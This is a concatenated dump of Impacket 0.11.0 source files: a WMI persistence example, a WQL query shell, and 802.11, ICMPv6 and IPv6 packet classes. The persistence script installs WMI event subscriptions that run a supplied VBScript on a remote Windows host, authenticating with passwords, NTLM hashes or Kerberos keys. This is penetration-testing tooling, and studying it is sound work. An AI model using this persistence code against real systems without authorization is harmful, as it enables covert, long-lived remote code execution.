options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @staticmethod def checkError(banner, resp): call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned if call_status != 0: from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS try: error_name = WBEMSTATUS.enumItems(call_status).name except ValueError: error_name = 'Unknown' logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status)) else: logging.info('%s - OK' % banner) def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError('Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % ( self.__options.name, self.__options.name))) else: activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] activeScript.ScriptText = options.vbs.read() self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError('Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError('Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError('Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] self.checkError('Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect() # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and " "link between both to execute Visual Basic based on the WQL filter or timer specified.") parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter') install_parser.add_argument('-name', action='store', required=True, help='event name') install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the ' 'script you want to run') install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger' ' the script') install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the' ' script will be triggered') # A stop command remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter') remove_parser.add_argument('-name', action='store', required=True, help='event name') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.com_version is not None: try: major_version, minor_version = options.com_version.split('.') COMVERSION.set_default_version(int(major_version), int(minor_version)) except Exception: logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") sys.exit(1) if options.action.upper() == 'INSTALL': if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): logging.error("You have to either specify -filter or -timer (and not both)") sys.exit(1) domain, username, password, address = parse_target(options.target) try: if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") executer = WMIPERSISTENCE(username, password, domain, options) executer.run(address) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) sys.exit(0) impacket-impacket_0_11_0/examples/wmiquery.py000077500000000000000000000215201446174712300214730ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-WMI] example. It allows to issue WQL queries and # get description of the objects. # # e.g.: select name from win32_account # e.g.: describe win32_process # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCOM # from __future__ import division from __future__ import print_function import argparse import sys import os import logging from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY if __name__ == '__main__': import cmd class WMIQUERY(cmd.Cmd): def __init__(self, iWbemServices): cmd.Cmd.__init__(self) self.iWbemServices = iWbemServices self.prompt = 'WQL> ' self.intro = '[!] Press help for extra shell commands' def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) describe {class} - describes class ! {cmd} - executes a local shell cmd """) def do_shell(self, s): os.system(s) def do_describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) def do_lcd(self, s): if s == '': print(os.getcwd()) else: os.chdir(s) def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff,1)[0] record = pEnum.getProperties() if printHeader is True: print('|', end=' ') for col in record: print('%s |' % col, end=' ') print() printHeader = False print('|', end=' ') for key in record: if type(record[key]['value']) is list: for item in record[key]['value']: print(item, end=' ') print(' |', end=' ') else: print('%s |' % record[key]['value'], end=' ') print() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease() def default(self, line): line = line.strip('\n') if line[-1:] == ';': line = line[:-1] try: iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n')) self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() except Exception as e: logging.error(str(e)) def emptyline(self): pass def do_exit(self, line): return True # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions " "using Windows Management Instrumentation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy ' '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require ' 'privacy level by default)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.com_version is not None: try: major_version, minor_version = options.com_version.split('.') COMVERSION.set_default_version(int(major_version), int(minor_version)) except Exception: logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") sys.exit(1) domain, username, password, address = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) if options.rpc_auth_level == 'privacy': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) elif options.rpc_auth_level == 'integrity': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print("WQL> %s" % line, end=' ') shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect() except Exception as e: logging.error(str(e)) try: dcom.disconnect() except: pass impacket-impacket_0_11_0/impacket/000077500000000000000000000000001446174712300172135ustar00rootroot00000000000000impacket-impacket_0_11_0/impacket/Dot11Crypto.py000066400000000000000000000022021446174712300216520ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # IEEE 802.11 Network packet codecs. # # Author: # Gustavo Moreira # class RC4(): def __init__(self, key): bkey = bytearray(key) j = 0 self.state = bytearray(range(256)) for i in range(256): j = (j + self.state[i] + bkey[i % len(key)]) & 0xff self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) def encrypt(self, data): i = j = 0 out=bytearray() for char in bytearray(data): i = (i+1) & 0xff j = (j+self.state[i]) & 0xff self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) return bytes(out) def decrypt(self, data): # It's symmetric return self.encrypt(data) impacket-impacket_0_11_0/impacket/Dot11KeyManager.py000066400000000000000000000031301446174712300224160ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # IEEE 802.11 Network packet codecs. # # Author: # Gustavo Moreira from array import array class KeyManager: def __init__(self): self.keys = {} def __get_bssid_hasheable_type(self, bssid): # List is an unhashable type if not isinstance(bssid, (list,tuple,array)): raise Exception('BSSID datatype must be a tuple, list or array') return tuple(bssid) def add_key(self, bssid, key): bssid=self.__get_bssid_hasheable_type(bssid) if bssid not in self.keys: self.keys[bssid] = key return True else: return False def replace_key(self, bssid, key): bssid=self.__get_bssid_hasheable_type(bssid) self.keys[bssid] = key return True def get_key(self, bssid): bssid=self.__get_bssid_hasheable_type(bssid) if bssid in self.keys: return self.keys[bssid] else: return False def delete_key(self, bssid): bssid=self.__get_bssid_hasheable_type(bssid) if not isinstance(bssid, list): raise Exception('BSSID datatype must be a list') if bssid in self.keys: del self.keys[bssid] return True return False impacket-impacket_0_11_0/impacket/ICMP6.py000066400000000000000000000462031446174712300204100ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import array import struct from impacket.ImpactPacket import Header, Data, array_tobytes from impacket.IP6_Address import IP6_Address class ICMP6(Header): #IP Protocol number for ICMP6 IP_PROTOCOL_NUMBER = 58 protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number #Size of ICMP6 header (excluding payload) HEADER_SIZE = 4 #ICMP6 Message Type numbers DESTINATION_UNREACHABLE = 1 PACKET_TOO_BIG = 2 TIME_EXCEEDED = 3 PARAMETER_PROBLEM = 4 ECHO_REQUEST = 128 ECHO_REPLY = 129 ROUTER_SOLICITATION = 133 ROUTER_ADVERTISEMENT = 134 NEIGHBOR_SOLICITATION = 135 NEIGHBOR_ADVERTISEMENT = 136 REDIRECT_MESSAGE = 137 NODE_INFORMATION_QUERY = 139 NODE_INFORMATION_REPLY = 140 #Destination Unreachable codes NO_ROUTE_TO_DESTINATION = 0 ADMINISTRATIVELY_PROHIBITED = 1 BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2 ADDRESS_UNREACHABLE = 3 PORT_UNREACHABLE = 4 SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5 REJECT_ROUTE_TO_DESTINATION = 6 #Time Exceeded codes HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0 FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1 #Parameter problem codes ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0 UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1 UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2 #Node Information codes NODE_INFORMATION_QUERY_IPV6 = 0 NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1 NODE_INFORMATION_QUERY_IPV4 = 2 NODE_INFORMATION_REPLY_SUCCESS = 0 NODE_INFORMATION_REPLY_REFUSED = 1 NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2 #Node Information qtypes NODE_INFORMATION_QTYPE_NOOP = 0 NODE_INFORMATION_QTYPE_UNUSED = 1 NODE_INFORMATION_QTYPE_NODENAME = 2 NODE_INFORMATION_QTYPE_NODEADDRS = 3 NODE_INFORMATION_QTYPE_IPv4ADDRS = 4 #ICMP Message semantic types (error or informational) ERROR_MESSAGE = 0 INFORMATIONAL_MESSAGE = 1 #ICMP message dictionary - specifying text descriptions and valid message codes #Key: ICMP message number #Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) ) #Codes dictionary #Key: Code number #Data: Text description #ICMP message dictionary tuple indexes MSG_TYPE_INDEX = 0 DESCRIPTION_INDEX = 1 CODES_INDEX = 2 icmp_messages = { DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable", { NO_ROUTE_TO_DESTINATION : "No route to destination", ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited", BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address", ADDRESS_UNREACHABLE : "Address unreachable", PORT_UNREACHABLE : "Port unreachable", SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy", REJECT_ROUTE_TO_DESTINATION : "Reject route to destination" }), PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None), TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded", {HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit", FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded" }), PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem", { ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered", UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered", UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered" }), ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None), ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None), ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None), ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None), NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None), NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None), REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None), NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None), NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None), } ############################################################################ def __init__(self, buffer = None): Header.__init__(self, self.HEADER_SIZE) if (buffer): self.load_header(buffer) def get_header_size(self): return self.HEADER_SIZE def get_ip_protocol_number(self): return self.IP_PROTOCOL_NUMBER def __str__(self): type = self.get_type() code = self.get_code() checksum = self.get_checksum() s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n" s += "Code: " + str(code) if (self.__get_code_description() != ""): s += " - " + self.__get_code_description() s += "\n" s += "Checksum: " + str(checksum) + "\n" return s def __get_message_description(self): return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX] def __get_code_description(self): code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] if (code_dictionary is None): return "" else: return code_dictionary[self.get_code()] ############################################################################ def get_type(self): return (self.get_byte(0)) def get_code(self): return (self.get_byte(1)) def get_checksum(self): return (self.get_word(2)) ############################################################################ def set_type(self, type): self.set_byte(0, type) def set_code(self, code): self.set_byte(1, code) def set_checksum(self, checksum): self.set_word(2, checksum) ############################################################################ def calculate_checksum(self): #Initialize the checksum value to 0 to yield a correct calculation self.set_checksum(0) #Fetch the pseudo header from the IP6 parent packet pseudo_header = self.parent().get_pseudo_header() #Fetch the ICMP data icmp_header = self.get_bytes() #Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present) checksum_array = array.array('B') checksum_array.extend(pseudo_header) checksum_array.extend(icmp_header) if (self.child()): checksum_array.extend(self.child().get_bytes()) #Compute the checksum over that array self.set_checksum(self.compute_checksum(checksum_array)) def is_informational_message(self): return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE def is_error_message(self): return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE def is_well_formed(self): well_formed = True #Check that the message type is known well_formed &= self.get_type() in self.icmp_messages.keys() #Check that the code is known (zero, if there are no codes defined) code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] if (code_dictionary is None): well_formed &= self.get_code() == 0 else: well_formed &= self.get_code() in code_dictionary.keys() return well_formed ############################################################################ @classmethod def Echo_Request(class_object, id, sequence_number, arbitrary_data = None): return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data) @classmethod def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None): return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data) @classmethod def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data): #Build ICMP6 header icmp_packet = ICMP6() icmp_packet.set_type(type) icmp_packet.set_code(0) #Pack ICMP payload icmp_bytes = struct.pack('>H', id) icmp_bytes += struct.pack('>H', sequence_number) if (arbitrary_data is not None): icmp_bytes += array_tobytes(array.array('B', arbitrary_data)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) #Link payload to header icmp_packet.contains(icmp_payload) return icmp_packet ############################################################################ @classmethod def Destination_Unreachable(class_object, code, originating_packet_data = None): unused_bytes = [0x00, 0x00, 0x00, 0x00] return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data) @classmethod def Packet_Too_Big(class_object, MTU, originating_packet_data = None): MTU_bytes = struct.pack('!L', MTU) return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data) @classmethod def Time_Exceeded(class_object, code, originating_packet_data = None): unused_bytes = [0x00, 0x00, 0x00, 0x00] return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data) @classmethod def Parameter_Problem(class_object, code, pointer, originating_packet_data = None): pointer_bytes = struct.pack('!L', pointer) return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data) @classmethod def __build_error_message(class_object, type, code, data, originating_packet_data): #Build ICMP6 header icmp_packet = ICMP6() icmp_packet.set_type(type) icmp_packet.set_code(code) #Pack ICMP payload icmp_bytes = array_tobytes(array.array('B', data)) if (originating_packet_data is not None): icmp_bytes += array_tobytes(array.array('B', originating_packet_data)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) #Link payload to header icmp_packet.contains(icmp_payload) return icmp_packet ############################################################################ @classmethod def Neighbor_Solicitation(class_object, target_address): return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address) @classmethod def Neighbor_Advertisement(class_object, target_address): return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address) @classmethod def __build_neighbor_message(class_object, msg_type, target_address): #Build ICMP6 header icmp_packet = ICMP6() icmp_packet.set_type(msg_type) icmp_packet.set_code(0) # Flags + Reserved icmp_bytes = array_tobytes(array.array('B', [0x00] * 4)) # Target Address: The IP address of the target of the solicitation. # It MUST NOT be a multicast address. icmp_bytes += array_tobytes(array.array('B', IP6_Address(target_address).as_bytes())) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) #Link payload to header icmp_packet.contains(icmp_payload) return icmp_packet ############################################################################ def get_target_address(self): return IP6_Address(self.child().get_bytes()[4:20]) def set_target_address(self, target_address): address = IP6_Address(target_address) payload_bytes = self.child().get_bytes() payload_bytes[4:20] = address.get_bytes() self.child().set_bytes(payload_bytes) # 0 1 2 3 4 5 6 7 # +-+-+-+-+-+-+-+-+ # |R|S|O|reserved | # +-+-+-+-+-+-+-+-+ def get_neighbor_advertisement_flags(self): return self.child().get_byte(0) def set_neighbor_advertisement_flags(self, flags): self.child().set_byte(0, flags) def get_router_flag(self): return (self.get_neighbor_advertisement_flags() & 0x80) != 0 def set_router_flag(self, flag_value): curr_flags = self.get_neighbor_advertisement_flags() if flag_value: curr_flags |= 0x80 else: curr_flags &= ~0x80 self.set_neighbor_advertisement_flags(curr_flags) def get_solicited_flag(self): return (self.get_neighbor_advertisement_flags() & 0x40) != 0 def set_solicited_flag(self, flag_value): curr_flags = self.get_neighbor_advertisement_flags() if flag_value: curr_flags |= 0x40 else: curr_flags &= ~0x40 self.set_neighbor_advertisement_flags(curr_flags) def get_override_flag(self): return (self.get_neighbor_advertisement_flags() & 0x20) != 0 def set_override_flag(self, flag_value): curr_flags = self.get_neighbor_advertisement_flags() if flag_value: curr_flags |= 0x20 else: curr_flags &= ~0x20 self.set_neighbor_advertisement_flags(curr_flags) ############################################################################ @classmethod def Node_Information_Query(class_object, code, payload = None): return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload) @classmethod def Node_Information_Reply(class_object, code, payload = None): return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload) @classmethod def __build_node_information_message(class_object, type, code, payload = None): #Build ICMP6 header icmp_packet = ICMP6() icmp_packet.set_type(type) icmp_packet.set_code(code) #Pack ICMP payload qtype = 0 flags = 0 nonce = [0x00] * 8 icmp_bytes = struct.pack('>H', qtype) icmp_bytes += struct.pack('>H', flags) icmp_bytes += array_tobytes(array.array('B', nonce)) if payload is not None: icmp_bytes += array_tobytes(array.array('B', payload)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) #Link payload to header icmp_packet.contains(icmp_payload) return icmp_packet def get_qtype(self): return self.child().get_word(0) def set_qtype(self, qtype): self.child().set_word(0, qtype) def get_nonce(self): return self.child().get_bytes()[4:12] def set_nonce(self, nonce): payload_bytes = self.child().get_bytes() payload_bytes[4:12] = array.array('B', nonce) self.child().set_bytes(payload_bytes) # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | unused |G|S|L|C|A|T| # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ def get_flags(self): return self.child().get_word(2) def set_flags(self, flags): self.child().set_word(2, flags) def get_flag_T(self): return (self.get_flags() & 0x0001) != 0 def set_flag_T(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0001 else: curr_flags &= ~0x0001 self.set_flags(curr_flags) def get_flag_A(self): return (self.get_flags() & 0x0002) != 0 def set_flag_A(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0002 else: curr_flags &= ~0x0002 self.set_flags(curr_flags) def get_flag_C(self): return (self.get_flags() & 0x0004) != 0 def set_flag_C(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0004 else: curr_flags &= ~0x0004 self.set_flags(curr_flags) def get_flag_L(self): return (self.get_flags() & 0x0008) != 0 def set_flag_L(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0008 else: curr_flags &= ~0x0008 self.set_flags(curr_flags) def get_flag_S(self): return (self.get_flags() & 0x0010) != 0 def set_flag_S(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0010 else: curr_flags &= ~0x0010 self.set_flags(curr_flags) def get_flag_G(self): return (self.get_flags() & 0x0020) != 0 def set_flag_G(self, flag_value): curr_flags = self.get_flags() if flag_value: curr_flags |= 0x0020 else: curr_flags &= ~0x0020 self.set_flags(curr_flags) def set_node_information_data(self, data): payload_bytes = self.child().get_bytes() payload_bytes[12:] = array.array('B', data) self.child().set_bytes(payload_bytes) def get_note_information_data(self): return self.child().get_bytes()[12:] ############################################################################ def get_echo_id(self): return self.child().get_word(0) def get_echo_sequence_number(self): return self.child().get_word(2) def get_echo_arbitrary_data(self): return self.child().get_bytes()[4:] def get_mtu(self): return self.child().get_long(0) def get_parm_problem_pointer(self): return self.child().get_long(0) def get_originating_packet_data(self): return self.child().get_bytes()[4:] impacket-impacket_0_11_0/impacket/IP6.py000066400000000000000000000150671446174712300201740ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import struct import array from impacket.ImpactPacket import Header, array_frombytes from impacket.IP6_Address import IP6_Address from impacket.IP6_Extension_Headers import IP6_Extension_Header from impacket import LOG class IP6(Header): #Ethertype value for IPv6 ethertype = 0x86DD HEADER_SIZE = 40 IP_PROTOCOL_VERSION = 6 def __init__(self, buffer = None): Header.__init__(self, IP6.HEADER_SIZE) self.set_ip_v(IP6.IP_PROTOCOL_VERSION) if (buffer): 